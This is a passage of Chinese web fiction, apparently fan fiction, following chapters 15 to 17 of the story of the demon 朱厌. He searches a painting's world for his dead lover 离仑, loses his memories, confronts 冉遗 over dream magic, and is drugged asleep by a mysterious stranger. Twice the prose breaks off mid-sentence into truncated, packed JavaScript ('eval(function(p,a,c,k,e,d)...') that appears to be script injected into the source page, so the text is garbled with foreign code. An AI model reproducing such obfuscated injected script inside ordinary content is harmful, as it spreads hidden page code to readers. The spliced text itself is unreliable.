下一秒,他的三魂意识便被鼗鼓之声强制召唤而回,进入了槐江谷小居密室内那幅正发着异光的百妖山海图。 百妖山海图内,朱厌转瞬来到了白帝塔外的禁地洞窟,看着眼前摆放的棋局,不由晃神起来。 他想起来了。 这一盘未下完的棋局,是他跟离仑最后下的一盘棋。 眼前的棋还未落完,可那与他执棋相落的人,却早已身死魂消,丢下他一个人,苟活了足足三万年... “离仑...”朱厌喉间发酸,眼眶生疼,“你这个混蛋...” 一团黑雾在洞窟门口凝聚而出,黑雾散去,一道身影缓缓现身,是一个看起来约莫十岁左右的孩童。 孩童身着一身宽大华服,黑金相间的衣袍之上绣满古槐一族的妖徽,一头蓝至泛黑的发丝,随意半挽,长发及腰。 孩童眼神冷冽,轮廓深邃,眉目之间,欺霜赛雪。额间长着跟离仑如出一辙的槐鬼妖纹,连同五官也与离仑有几分相似。 明明才约莫十岁左右,却足以见得五官俊美得不似凡人。 孩童原本格外警惕的眸光,在望到不远处的朱厌时,转为错愕,进而无措,眸光微闪,小声唤着:“...娘亲...” 坐在棋局前的朱厌循声望去,目光在触及到这道骤然出现的人影时,不由一愣,脑海里莫名其妙泛起离仑之前一直对他说的话。 “阿厌...有些事,记得却不如忘了...” 孩童缓缓走向朱厌所在的位置,在那盘还未下完的棋局前,驻足停下,接着又走到朱厌对面,坐了下来。 坐下来的孩童闪躲着眼神,微张的嘴张了又合,欲言又止,沉默了好一会才缓缓抬眸,对上朱厌视线,小声开口:“...娘亲...” 看着眼前活生生的白玖,朱厌只觉眼眶发酸,视线逐渐被温热水雾覆盖,咽了咽发酸的喉咙,哑着嗓子回着他:“小白兔...” 谁知,此言一出,朱厌明显感受到坐在他对面的‘白玖’身子一顿。随后,原本正与他对视的眼睛,不自觉再度挪开了。 错开与朱厌对视的‘白玖’,拾起一枚黑子,徐徐落下,吃掉了朱厌的一枚白棋。 ‘白玖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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破幻真眼,是大荒顶级上古大妖才有能力修炼出的法宝,放眼整个大荒,就只有他有。而他的破幻真眼,早在几万年前就送给了离仑。 朱厌望向眼前‘白玖’,原本柔和的眼神再度变得凌厉起来,就在他准备有所动作之时,一道浑厚低沉的梵音抢先入耳制止了他。 “朱厌。” “谁在说话?出来!” “九天。” 九天?这是何人?又为何会出现在此处? 正当朱厌正深思着,便听到了这道声音继续响起—— “朱厌,你可记得,你曾孕有双生子。” “长子名为白槐,次子名唤白玖。而长子白槐,被斩杀于屠灵阵。” 朱厌一愣,眸中满是错愕,只觉脸上顿时一阵温热,不可置信之余,更是下意识立刻否认掉这人说的话:“胡说八道!” 朱厌情绪波动明显,体内戾气趁机再度作妖,循循善诱着:“朱厌,你知道你为什么会哭吗...” “因为他说的,没错——” 留下这句话后,体内狂笑的戾气再度沉寂起来。 眼前坐着的‘白玖’神情落寞,语气之中带了一抹哀怨与难过:“爹爹...跟娘亲...” 说到一半,又再度落下一枚黑棋后才接着说:“为何不来看阿槐...” “阿槐...” 朱厌念着这个名字,脑海瞬间宛若万蚁噬咬,又如千刀万剐般疼痛,疼得他忍不住倾身,不慎倒向眼前棋局。 手边的黑白棋子跟棋罐,统统都被他不小心打落得散了一地。 等他缓过神,再度抬眸之时,眼前的‘白玖’瞬间化作一阵蓝烟,消失不见—— 胸口再度传来一股灼热,一阵天旋地转后,朱厌也随着消失在禁地洞窟里。 一声惊呼,躺在槐江谷小居内昏迷了一个月的朱厌猛地睁开眼睛。 守在他一旁的英磊惊呼出声,满脸开心,“大妖,你终于醒了,”抱着朱厌左瞧右看了好几次确认他是否有伤,“有没有哪里不舒服呢?” “英磊,不对的不对的!到底哪里出了问题!” 还未等英磊出声,朱厌便跌跌撞撞跑向离仑书房。 英磊大声一喊,连忙跟在他身后追了出去:“朱厌大妖,你去哪儿呀——” 15. 壁画世界 朱厌跌跌撞撞跑向离仑书房,嘴里不停呢喃着。 “离仑,不对的...发生了什么...我是忘了什么吗?我一点都不记得了...” 推开房门后,那幅悬挂在墙上的《百妖山海图》,乍然一看,毫无异样。 可当朱厌伸手一摸时,整个人便瞬间被它泛出的白光弹倒在地,是结界。 胸口一痛,喉间一热,口中鲜血不受控地吐了出来。 “朱厌——” 英磊赶到时,朱厌脸色煞白,吐血不止,连忙将他轻轻扶在怀里,语气担忧得不行。 “怎么回事?好端端的怎么又吐血?你是行走的血包吗?!” 朱厌没有说话,目光坚毅盯着那幅画,颤颤巍巍起身后,双手交叉于胸前结印,指抵眉心。当下施法,抽中一滴眉心血,毫不犹豫地打入画里。 “入——” 下一秒,整个人就直接进入了百妖山海图,留下原地错愕不已的英磊。 “这...” 英磊连忙跑到百妖山海图前,摸了又摸,百妖山海图毫无反应。 急得他又是掐诀又是念咒,可眼前挂着的百妖山海图,还是毫无反应,英磊挠着脑袋一脸疑问,接着又炸毛起来。 “这...朱厌你还吐着血呢!就算不死不灭,也经不起你如此不要命的折腾呀!真是疯子!” 百妖山海图内,白帝塔外的禁地洞窟。 当朱厌急匆匆进入山海图后便着急地找寻起之前的‘白玖’,可是那个‘白玖’早已消失不见,横扫而过的目光却被一道身影死死吸引住。 望着那道熟悉的身影,站在原地的朱厌,满眼错愕,一动不动。 直到过了很久很久之后,见他依旧杵在原地,坐在棋局前下着棋的人才缓缓开口,语气却格外冷淡:“再继续,你会死的,回去——” 听到这人开口赶他走,朱厌才挪动脚步,朝着那身影所在方向迈去,最后直接坐在那盘未下完的棋局对面,痴痴望着眼前人。 “可是...”朱厌沙哑着嗓子,应着眼前人,“离仑...我愿意...”说完,一行热泪再也控制不住地从眼眶滑落,滴落在棋盘上。 坐在朱厌对面的离仑见状,目光一顿,下意识抬起手,想要擦拭掉他脸上的泪。可当他的手伸到一半的时候,却欣然放弃,再度放下。 “离仑...方才我在这里,见着了小白兔,可他又不是小白兔...” 朱厌觉着自己的心,闷闷得发疼,格外难受,“那个孩子说,他叫阿槐...” 一滴泪,从他泛红的眼眶滚落,滑过侧脸,灼疼了对面人的双眼。 朱厌最后那句话,更是让对面正执棋下着的人,指尖为之一颤。指间执着的那一枚黑棋,刹那间掉落在棋盘上。 离仑没有说话,只是默默将掉落棋盘的棋子拾起,继续下着棋局。 “离仑,九天是谁?” 离仑沉默了许久,才开口回应了朱厌的问题:“九天,亦为天道。” “离仑...那天道说的...你告诉我...”又一行热泪从朱厌眸中滚落,他的喉咙疼得酸,内心隐隐期盼着听到否认的答案,“是真的吗...” 此言一出,离仑彻底愣怔住了:“阿厌...” 离仑原本波澜不惊的眼瞳,颤动了一下,涌起泪光,眼神一收,神色一凛,周身瞬间泛起阵阵杀意,整个人变得格外凛冽,愤愤开口。 “天道错了...” “天道在撒谎!” 可最终,他还是在朱厌直勾勾的凝视下,先行别开了相视而看的眼。 离仑眸光微闪,幽幽开口:“阿厌...我和你之间...” 离仑语顿,眼中满是痛苦之色,脸色阴沉,语气不忍:“我们...根本就没有小槐精...” 朱厌一听,藏在袖中的手死死攥着,十指深陷入掌心都渗出了血也浑然不知,连同声音也不自觉爬上了一抹颤意:“离仑...你知我最讨厌欺瞒之人...你又有秘密瞒着我...” “你不要替我做决定...” “不准你替我做决定...” “我会很难过的...你不要这么做...” 朱厌的眼泪就像断线珍珠般,一颗接着一颗砸落在那盘未下完的棋盘上,刺疼了离仑的心,不知该说什么的他,只好再度别开眼。 他该跟朱厌说什么? 跟朱厌坦白,他们的小槐精在几万年前就已经死了吗? “阿厌——”离仑沙哑着唤他,“你为何如此执着...如此不乖不听话呢...” 随即,望着朱厌的他,露出一个无奈又心痛的淡笑:“我们大妖,寿命漫长,弹指之间,百年时光,不过是白驹过际。” “有些事,忘了...那便忘了。强行记着,只会徒增伤心与难过,却不如忘了来得痛快...” 一时之间,两人僵持不下,气愤瞬间跌落至冰点—— 朱厌先行开口,打破了两人僵持不下的氛围,轻声哄着眼前人:“离仑...别生气了...” 离仑闻言,并没有抬眸,只是眼神淡淡,若有所思地望着眼前这盘未下完的棋局,待到落下一枚黑子后,幽幽开口:“阿厌,梦太长,该醒了。” “阿厌,记得...却不如忘了...” 说完,离仑眼神一变,在朱厌还未反应过来之时,鼗鼓自掌心而现。 鼗鼓经他翻手一转,透明的震浪将朱厌整个人直接震离棋局。 “离仑!不要这样!” 一把点缀着大小金红铜铃的油纸伞在朱厌手中骤然撑开,死死挡住离仑一波又一波威力颇大的鼗鼓震浪。 这把油纸伞,是朱厌花费了很多心思才炼制出来的命格武器。 离仑见状,眸色一冽,又再次转动手中鼗鼓。 这次鼗鼓震浪从透明变为暗红,不断攻击着朱厌,想把他直接赶出百妖山海图的壁画世界。 离仑出手很重,丝毫没有手下留情。 而早在进入百妖山海图的壁画世界前,朱厌就已经身受重伤,离仑的此等攻击,直接逼得朱厌当场妖化。 朱厌原本光滑白皙的脸上,骤然露出道道暗红妖纹,连同被他刻意隐藏起来,隶属于上古大妖兽特有的尖牙也被逼迫得缓缓现出—— “听话,我不准你留在这里——”离仑话一说完,双指交叠,口中念咒,无数古槐藤蔓自他身后而出,直接将朱厌彻底赶出壁画世界,“快走——” “离仑!不要——”朱厌大吼着,整个人直接被离仑赶出壁画世界,赶出了百妖山海图,重新回到了他的书房中。 离仑此番攻击无意加重了朱厌身上的伤势,倒地的他又再次吐出了一大口血,看得一旁守着等他归来的英磊心惊肉跳。 离仑此举,让朱厌忍不住回想起,先前在尘梦迷阵看到的那一幕。 那个时候的离仑,为了护住他,一跃而下,不惜自损,召出了部分真身本体来阻挡温宗瑜的不烬木火球。 “朱厌,我不准你留在这里。” 离仑的声音从百妖山海图中传来,可是却只有朱厌他一个人听到。 “离仑...”朱厌手脚慌乱爬着起身,想继续进入百妖山海图却被英磊拦住。 “朱厌,醒醒!你到底怎么了?” 朱厌这副失魂落魄的模样让英磊看了不由心生怒火,双手抓过他的肩膀,斥声一训。 “英磊!”朱厌泪流满面,嘴角淌血,声音直颤,“离仑...离仑在里面...我得进去把他救出来——” “你疯了吗?离仑他已经死了,早在三万年前的昆仑雪山一战里,他跟白玖就已经死了!” “胡说!你们一个个都撒谎骗我!” 朱厌不断挣着他的手,想要继续往里冲,引得英磊厉声一喝,开口骂醒他:“你体内的誓契不就是最好的证明吗?大荒禁地里再度枯死的建木神树不就是最好的证明吗?” 作为从头到尾都见证着朱厌跟离仑之间爱恨的英磊,看到如此模样的朱厌,顿时也忍不住眼眶泛红。 他以为,漫长的岁月会抚平一切伤口,时间也会治愈一切。 看着平日里总欢声笑语的朱厌这个模样,他才彻底明白,或许,从头到尾,这才是真正的朱厌,依旧是那个只要一提到离仑就会方寸大乱的朱厌。 “胡说!他明明就在里面!”朱厌红了眼大吼着,甚至不惜对英磊动用一字诀,“梦——” 朱厌一把推开昏睡过去的英磊,再度抽眉心血打入画中,一阵刺眼红光后他又再次进入画中世界。 “离仑!离仑!你在哪儿?” 这一次的禁地洞窟内,空无一人,连同先前那盘未来得及下完的棋局也消失不见,朱厌一个人在原地急得团团转,口中唤着一句又一句离仑的名字。 “你为何要如此执着呢...”黑雾弥漫,离仑隐隐现身,眼神冷冽,语气微怒,“我让你滚,你没听明白吗?” “朱厌,该醒了。我早就跟你说过,有些事 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鼗鼓摇得愈发厉害,鼓声越来越紧密,整个洞窟开始分崩离析。 无形的鼗鼓震浪,铺天盖地朝着朱厌袭去,让他疼得直接蜷缩倒地,额间沉寂的暗蓝妖印,再度泛起若隐若现的蓝光。 “这些没用的往事,我不许你记得这些!” “离仑...”朱厌抱着刺痛的脑袋,脸色煞白,冷汗涔涔,虚弱出声,“不要...这样...” 在离仑一声响过一声的鼗鼓声中,百妖山海图内的一切,朱厌在壁画世界里所经历的所闻所见,一切相关记忆都开始缓慢消散。 朱厌怒声一吼:“离仑!你疯了!你这是在做什么?!” 脑中记忆开始错乱,朱厌终于察觉到不对劲,一脸不可置信。 离仑竟然想要消除他的记忆! 鼗鼓再次发出一声巨响,将朱厌强行赶出了百妖山海图。 谁知,朱厌也是个狠戾的倔强性子,赶在被离仑抹掉最后一丝记忆前,一狠心直接生剥体内妖丹,强行取出,以妖丹为引,只为强行进入画中世界。 今日,他定要弄清楚一切!不管付出什么代价! 可是还未来得及进入,朱厌便发现那一幅悬挂在墙上的百妖山海图,开始不受控地自燃起来。没一会,蓝色火焰化作一条火蛇,在画上彻底蔓延而开。 朱厌尝试灭火,却发现画上的蓝色火焰,居然是不熄不灭的九幽冥火! “朱厌...”百妖山海图中再次传来离仑的声音,“我,已经不喜欢面对面和你聊天了,回去吧...”说完,画上的九幽冥火燃烧得更厉害了。 “离仑!不要!” 百妖山海图被烧毁,图中的壁画世界也随之彻底坍塌,而强行入境的朱厌遭到双重反噬,妖丹受损,重伤吐血,再度昏迷。 先前他在壁画世界里所经历的一切,那些所见所闻的记忆,也随之消散。 茯苓赶到时,看到的只有晕倒在地的朱厌跟英磊,还有不远处满地泛着若隐若现火光的灰烬。 直到次日中午,朱厌才再度醒来,扶着头痛欲裂的脑袋,开口的第一句话便是:“好难过啊...我是忘了什么吗?我一点都不记得了。” 屋内的茯苓跟英磊一听,当下两人对看了彼此一眼后,双双默契选择当场沉默了。 察觉到屋内氛围不对劲,朱厌刚想开口便被英磊抢先开口:“什么忘记了不记得了,我看你就是仗着自己不死不伤就瞎折腾。你是不会死,但你总会疼吧?也不知道心疼心疼自己。要是离仑还在...哎哎哎...痛松手...” 茯苓一手掐了英磊腰间一下,一手捂住他劈里啪啦说个不停的嘴,“大人,你先好好休息,我跟小山神大人先出去了。”说着,一把将英磊拖了出去。 两人寻了个清静之地,才开始交谈起来。 茯苓朝着英磊狠狠冷眼一瞥,英磊当即身子一抖,讪讪开口:“方才一时嘴快,茯苓妖君莫怪,莫怪啊...” 茯苓可是朱厌的第一毒唯,谁敢伤朱厌,肯定得吃这女妖君的苦。 “说说吧,你们在王的书房内,到底发生了什么事情?怎么朱厌大人又把自己搞得一身伤?” 英磊松开咬着自己黄毛辫子的嘴,一脸无奈:“你还是先跟我说说,离仑书房内那幅百妖山海图,到底是什么来头吧?” 16. 爱不明白 茯苓闻言后,那双原本波澜不惊的眼中当下一愣,沉默了足足好一会才肯开口。 “那幅百妖山海图,是王布下的界碑。” “里头是以大荒禁地为幻相,界碑之后是槐江谷另外一处不为人知的槐谷禁地。小殿下...”提到这个称呼,茯苓目光骤然黯淡了好几分,“王把他...葬在了那里...” 英磊一听,当下也是一愣。 他如今也是大妖,岁月漫长到他有时也会忘却某些事情。但茯苓如此一提,他倒是回忆起那桩往事,顿时不免也伤感起来。 在那差不多两百年的时光里,他正好入凡历练去了,也就是在那个时间里,槐江谷出事了,当时连他爷爷英招,大荒第一医手风生婆婆都出动了。 “朱厌说,他在里面见到了离仑。” “那不过是王的一处幻相罢了。” “当初王担心里头的小殿下,于是剥离了自己的一缕精魄化作幻相残识,留在了里面,镇守着那处禁地...” 茯苓微微抬眸,语重心长:“又许是感应到朱厌大人过于强烈的气息,才致使王的幻相沦为执念,有了一丝王的自我意识。” “可即便有了王的自我意识,那又如何,终究不是王...” “如今,百妖山海图自燃烧毁了,王残留下来的那一抹残识,自然也就烟消云散了。槐江谷的那处禁地也被彻底关闭上,无人能进出。” “看朱厌的样子,估计是离仑动的手脚,”英磊咬着小辫子,一脸疑惑,“你说,他怎么就那么多秘密呢,他到底要干什么呀?” 听到英磊的话,茯苓也赞同得直接沉默不语了。 他们的王,总是那么地令人捉摸不透。 英磊回了趟昆仑雪山,给朱厌带了他最喜爱的桃子。结果一回来,朱厌又不知道跑去那里了,连茯苓也全然不知。 “这只死猴子,整天东跑西奔的,然后再把自己搞得半死不活的!” 英磊噌的一声,歪着脑袋,龇着一大口白牙,笑嘻嘻问着茯苓:“你说,等他回来,要不我给他下个禁锢好了,省得他跑着跑着把小命给搭没了。” 英磊此等馊主意,自是引得茯苓忍不住一翻白眼,转身就走。 而他们口中念叨着的主人公朱厌,此刻正躲到凡间的桃源小居里,坐在院中,伴着满院缓缓飘落的桃花,悠哉悠哉地荡着秋千。 看着这里的一切都与槐江谷如出一辙,坐在秋千上的朱厌眸光微颤,抬手捂住隐隐作痛的心脏。 总觉得怪怪的,不对劲! 可到底是哪里不对劲呢?他也无从而知。 虽说这里的一切都跟槐江谷小居差不多,但心里总有个声音在告诉着朱厌,这里也许可以找到他想要的答案。 夜色降临,皎月悬空。 朱厌信步闲庭,踱步于小居外的河岸边,只见他眉眼一厉,眼中警惕之色油然而生。 他布置下的桃源小居结界破损,有人闯入了他的小居。 大妖五感超群,闻着空气中泛来若隐若现的熟悉气味,朱厌冷眼一笑:“冉遗,出来。” 见无人答应,朱厌只好抬手,指抵唇边,微念一字诀:“现——” 原本平静的湖泊水面忽然开始泛起波动,圈圈涟漪不断翻涌着,接着一个湿淋淋的脑袋从水中冒出。 只见,冉遗半张脸沉在水里,半张脸露出水面,目光阴森森地看着站在河岸边的朱厌。 近些日子以来,他陆续从大荒其他妖兽口中得知,朱厌底下一直在想方设法寻上古秘术——死生之术。 沉在水里的冉遗抢先开口:“朱厌,我早就跟你说过了,他...已经...” 此话一出,引来朱厌的一番大声训斥,“闭嘴!” 看着水里一动不动的人,不由脸色一愣,冷言一喝:“出来!” 冉遗才慢悠悠地从水中缓缓走了上来,他上身半裸,下身穿着破败黑色长袍,浑身湿淋淋的。外露的皮肤上鳞片若隐若现,在这黑夜之中,泛着幽幽暗色。 大荒的妖,大多天生地养,不喜束缚。 白泽令出世后,大荒的小妖小怪,在白泽勒令下才得以入世。 入世后,诸多小妖们才学起了人类的乔装打扮,但多数还是保留了部分妖族特征,比如冉遗此刻身上的鳞片。 冉遗的头发湿漉漉地披散在后背,幽幽暗夜之中,那双阴森森的眼睛闪着诡异的光芒。 “朱厌,他永远都不会醒来了。” 冉遗此话一出,朱厌的眼神再度暗沉了几分,随即抬手念咒:“跪——” 一字诀一出,冉遗顿时面露难色,微抖的身子仿佛不受控制般的走到朱厌面前,朝他朝跪了下来。 朱厌眼中骤然泛起的冷意与杀气,加上周身强大的气场,看得冉遗头皮发麻,更是震得他浑身直抖。 这,便是上古大妖,大荒妖族之后的压迫感。 朱厌负手而立,居高临下望着他,眸中带了一抹探究之意:“冉遗。” 朱厌藏在身后的手,正不疾不徐摩挲着腕间的黑金链子,眉眼间看似漫不经心,实则寒意层层。 “我要救的不是别人,是我的离仑,我必须救他。” “我想让他活着的人,我想要救下的人,他就不可能死在我面前。” 跪在地上的冉遗闻言后愣了一下,微微抬眸,暗自偷偷望向朱厌。 朱厌那张雌雄难辨的脸上,一如既往泛着淡淡笑意,眸中却满是势在必得的信心。 冉遗暗自施咒,一时之间,朱厌跟他所在的河岸,整个湖面大雾弥漫,越来越浓。 两人被转移到另外一处渺无人烟的地方。 茫茫白雾之中,冉遗身着青袍华服,绕着朱厌踱步而行,好言相劝着他:“朱厌,我早就跟你说过了...” 被冉遗强制困在白雾之中的朱厌,脸上毫无惧色。那双漂亮的眼睛只是低眸微垂,似有心事,站在原地,静静听着冉遗说话。 是冉遗的尘梦迷阵。 “只当大梦一场,梦中泥泞,庄周迷梦,醒时光明,不必执着,何须强求,”冉遗骤然靠近,俯身靠到朱厌耳边,低声细语,语气阴森森,“这样——” “不好吗——” 朱厌闻言,微微侧身,目含鄙夷之色,冷眼一瞥冉遗。下一秒,周身便亮起暗红光泽,顿时满身戾气环绕,显得他十分骇人。 “破——” 冉遗的尘梦迷阵,被朱厌轻而易举地用一字诀破开了。 迷雾散尽,一切终于又变得清晰起来。漆黑四周再次亮起白光,两人也重新回到了一开始的小居河畔。 尘梦迷阵被强行破开,冉遗遭到巨大反噬,顿时手捂心口,跪地吐血。 “冉遗,”朱厌嘴角泛起冷笑,语气格外冷漠,“别拿你这些小把戏对付我。快点教给我你的控梦之术!” 前些日子得亏他跑了一趟英磊的山神庙,才想起自己先前竟寻过这小鱼妖,还入过他的尘梦迷阵。虽然至今依旧不清楚为何后续他又忘了,但好歹也算是让他恢复了点过去的记忆。 尘梦迷阵能让他想起被尘封的记忆,造出的梦境更是能以假乱真迷人心智。 说不定,若是他学会了冉遗的控梦之术,便能借助飘渺虚无的梦境,寻回更多被他遗忘尘封的记忆,解开诸多谜团,找到最终真相。 半跪在地的冉遗,伸手抹去嘴角的血迹,轻笑出声:“朱厌,我不能再给你造梦,我也不会教你这梦术。” 下一秒,再度抬头望着朱厌的冉遗,目光转为疯狂,嘴角阴笑:“朱厌,你明明知道,无魂无魄的妖,死了就是死了,身死魂消,灰飞烟灭。” “三万年前,离仑妖力散尽,法相归离,更无一丝生机侥幸。” “即便让你侥幸得到死生之术,取丹抽髓,散尽修为,招魂结魄。你以为,他就可以回来吗?就算回得来,他还是之前的那个离仑吗?” “朱厌,你想看的锦绣山河,你想体验的人生百态,我都可以陪你,阅尽世间繁华...” 冉遗字字句句的深情剖白,并没有引起朱厌的注意。 朱厌依旧是一幅冷冰冰的模样,那双藏在深夜之中的暗红眼眸,让人无法窥探出一丝他的情绪。 明明听着冉遗的情意之词,可是朱厌的脑海里却莫名涌现着跟离仑之间的零碎记忆。原本欺寒赛霜的眉间,顿时连同冷意,也消退了几分。 “从你救下我的那一天起,你说的话我都有放在心上,我愿意一直这样陪着你,哪怕抛下我的自由,只做你鱼缸里的一只小鱼。”① “朱厌,我们一起走,我带你,回大荒——” 冉遗越说越离谱,听得朱厌脸色愈加阴沉难看,直呼出声:“放肆!” 朱厌嘴角不由冷笑,眸子更是一片冷意:“冉遗,我看你,是泡在水里太久了,连脑子都泡坏了,简直是疯了!” 谁知,冉遗毫无一丝后怕,双眼直直对上朱厌,痴迷的目光之中泛着一股疯狂:“朱厌,告诉我,你到底要什么?” “你——想要什么?” 朱厌直接坦言:“我要离仑。我只要我的离仑。” 见朱厌依旧固执,冉遗直接拒绝:“我不会再给你造梦。控梦之术是妖法,你在梦境里呆的时间越长,就会越虚弱。那些梦,都会害了你。”② 朱厌一脸毫不在乎:“我本就是与天同寿的上古大妖,反正我也死不了,何惧这胁迫。” 冉遗忽而发出一声微弱的痛闷声,双眉突皱,身上的鳞片越来越多。 朱厌这才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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突然,一道声音缓缓响起,轻声细语唤着深陷梦魇的他:“孩子...” 一个身着白袍灰纱,身姿挺拔,剑眉星目,额缀大妖族印的男人走进了朱厌的梦里。 男人走到了长跪于地,泪流满面的朱厌跟前,驻足停下。 朱厌循声望去,一张跟自己长相相似却多了一抹英气的脸,映入他的泪眸中。 明明是活了几万年的上古大妖,可此时朱厌却如同一个普通孩童般,委屈出声:“父亲,我该怎么办?” 应龙目光慈祥,一脸淡笑,伸手摸了摸他的头,轻轻说着:“孩子,结局已定,过去了就是过去了。” “你这样,若被他知,定要恼我,没把你照顾好,”应龙轻叹了一口气,蹲下身子擦拭掉朱厌脸上的泪,一脸无奈,“也是。本该无情无义的妖,却修出人的七情六欲,如何不痛苦呢?” “动心动情,嗔痴爱恨。爱不明白,恨不清楚。” “你是他的劫,他又何尝,不是你的劫呢...” 应龙笑着安慰他:“孩子,离仑那小子,说得没错。有些事,记得却不如忘了。” “天亮了,这个梦,也总该醒的...” 白光骤现,梦魇消散,应龙消失。 朱厌猛地惊醒,神智还尚未从梦魇中归位的他,耳边忽而出现一道混沌嗓音。 “朱厌,冉遗小妖不帮,我可以帮你。”戾气察觉到朱厌心绪破防,又开始蠢蠢欲动,“冉遗的鳞片,可以让人,躲到梦里去...” “闭嘴!”朱厌身上的戾气时涨时退,逐渐暴躁的他颤着指尖,微微念诀,“定——” 体内的戾气发出痛苦的挣扎声,没一会,时涨时退的戾气再次沉睡,耳边那个混沌的声音骤然消失了,四周也重新归于平静。 “阿厌,天道错了!” 朱厌脑海里莫名其妙涌现出这句话,是离仑的声音。 天道?什么天道? 错了?何为错了? 心口莫名涌起一股难过,酸胀,刺痛。头也开始老样子,隐隐作痛起来,让朱厌难受得下意识捂住脑袋。 好痛,好难受,又好难过... 难道,他又忘了什么吗?为什么...他一点都不记得了... 为什么他好似觉得,自己的记忆,总是反反复复出现着偏差?总觉着,恢复了又遗忘,遗忘了又恢复呢?让他有时都分不清,到底何为真实,又何为虚假了。 朱厌颓废地坐在地上,双眼放空得失神,喃喃自语着:“离仑,到底发生了什么事情...” “我又是因何,才沉睡了三万多年呢...” 17. 沉爱之香 “死生之术,取丹抽髓,招魂结魄...” 瘫坐在地上的朱厌,嘴里不停自我呢喃着先前与冉遗的对话,突然眼眸一亮,像是想到了什么,当下便赶回了大荒。 大荒禁地里,原本枯萎的建木神树,树身上竟然莫名其妙泛着一股若隐若现的腐蚀黑气。 朱厌一看,脸上顿时难看极了,神色也愈发紧张起来。 该死的,明明他布下了结界,可为何还有人闯入了大荒禁地! 朱厌一时悔恨不已,都怪自己一直沉溺于寻那死生之术,以至于对大荒出现的异样,都丝毫没留意到,才让人钻了空子。 朱厌当下双手结印,掐诀颂咒,再度睁眼之时,暗红深瞳内闪烁着流光溢彩的鎏金色。 借助破幻真眼,朱厌看到了一群凡人修士闯入了大荒禁地,以血入木,以法吸灵,将禁地里所有生灵气息,悉数吸走。 那瓶血泛着熟悉的气息让他大为诧异,为何这群凡夫俗子的修道之人,有他的心头血? 就是在那一日,他好似还去了一个地方。但那个地方,他又忘记了。 到底怎么回事? 一个个谜团疑问萦绕在他心头久久不散,在找到真相前,他得先挽救枯死的建木神树。 建木神树虽已枯死,但只要神树根基不毁,白泽神碑不破,昆仑之门,时光山谷,苍梧之野跟槐江谷都不会真正的分崩离析。 掌心一翻,纸伞法器从天而降,朱厌伸手一抽,伞中利刃自伞柄尾端而出。 利刃在手中流转着,白刃掉转,一下子便精准刺入他的胸腔。刀刃再一转抽,染血红刃上的血,顿时涌动成线,隔空飘向泛着腐蚀黑气的建木神树树心。 “离——” 话音一落,建木神树上方飘出一个诡异又硕大的金色阵法,阵法飞旋着发出刺眼的蜂鸣声。 朱厌一眼就看出,这是一个足以诛杀大妖的大阵。 建木神树是上古神物,万物皆有灵。但滴水穿石,日复一日,这个大阵便会彻底腐蚀掉建木神树的神魂,大荒也会由此陷入崩塌毁灭得危机。 “散——” 金色阵法在朱厌一字诀下如风沙般化成小小颗粒,随风而散。与此同时,朱厌的嘴角也淌下一丝血迹。 “朱厌,是不是很痛苦——” 体内戾气幽幽说着:“守护建木神树,需得两名心意相通的上古大妖。离仑已死,单凭你一人苦苦支撑,又能护大荒多久呢——” 朱厌没有说话,只是一声不吭伸手将嘴角血迹擦去。 戾气说得,没错。 如今,就算他散尽一身修为,也没办法真正守住建木神树。 可是,只要有他在的一天,他就不会让大荒有一丝崩塌之象,即便要他身死魂消,修为散尽。 “建木神树我会守,大荒我也会护着。而离仑,我也会想办法救回来的。” 听到朱厌的这番回复,藏在他体内的戾气顿时又抓狂起来,不断嘶鸣怒吼,“闭嘴!你有什么资格惦记着他!” 没有理会戾气的狂怒,望着腐蚀黑气逐渐消散的建木神树,朱厌眸中闪烁着让人看不懂的情绪。 “离仑,只要能救你,哪怕只有一分可能,我也会试的——” 一定有办法的,他一定可以想到的... 即便大荒的时间流逝与凡人颇有差别,却也依旧挡不住夜幕的偷偷降临。 外头正下着蒙蒙细雨,雨水顺着屋檐边缘滴落在地,发出微弱的清脆声响,槐江谷小居内处处透露着难得的宁静与祥和。 小居的外庭中央,落地木窗旁坐在小桌边的朱厌,难得放松,正靠在桌沿之上撑着手,安静小憩着。 一道黄白相间的身影,缓缓出现在槐江谷小居的门口,轻而易举破开了小居结界,由远及近,缓慢走向朱厌所在的位置。 妖族天生便对危险源头格外敏感,身为上古大妖的朱厌更甚。可是,一向警惕性极高的朱厌,在这道黄白身影出现在小居内时,丝毫没察觉。即便是来人缓缓靠近,也依旧如常,更别提苏醒过来。 只见来人,衣袂飘飘,气质超群。那张清冷的脸上在望上朱厌那张脸时,淡漠的眸内满是不理解的复杂情绪。 “既然忘记了,为何还要执着记起?” “苦苦寻得而来的答案,那便是你内心真正想要的答案吗?” 男人的声音,跟他的气质一样,很冷,冷到没有夹带一丝情感的波动。 望着朱厌的男人,沉思了好一会才伸手,朝着外头半空之中随意一挥。下一刻,槐江谷小居外头的屋檐边沿,原本空无一物的边沿顿时挂上了一块硕大的塔香。 猩红的火舌沾着雨珠,诡异地舔舐上泛着略微枯黄的塔香。 这块塔香,即便被顺着屋檐边缘滴落的雨水弄湿了,依旧烟雾缭绕,在这寂静的夜晚之中,发出了诡异的星星点点红光。 没一会,整个槐江谷小居屋内便被这股泛着紫雾的香味萦绕。 天生没有七情六欲的妖,是不会做梦的。但如若妖族修出了人所有的七情六欲,也会陷入梦魇之中。 而此刻小憩着的朱厌,在这个男人的操控引导下,整个人被这股诡异香气牵动着,陷入了一轮又一轮陌生的梦境。 男人走到朱厌跟前驻足停下,久居高位的压迫感自上而下碾压而来,眸中毫无一丝波澜情绪,脸上更是冷漠如常,“你就那么爱他吗?爱到连命都可以不要?” 男人就这样,一言不发地站在朱厌身旁,静静望着他的睡颜,最后屈下身子,蹲在他眼前:“阿厌...” 微凉的指尖伸出,将朱厌散落的发丝抚到耳后,男人语气比刚才柔和了些许,多了些许生人气息:“你说我,不懂情。” 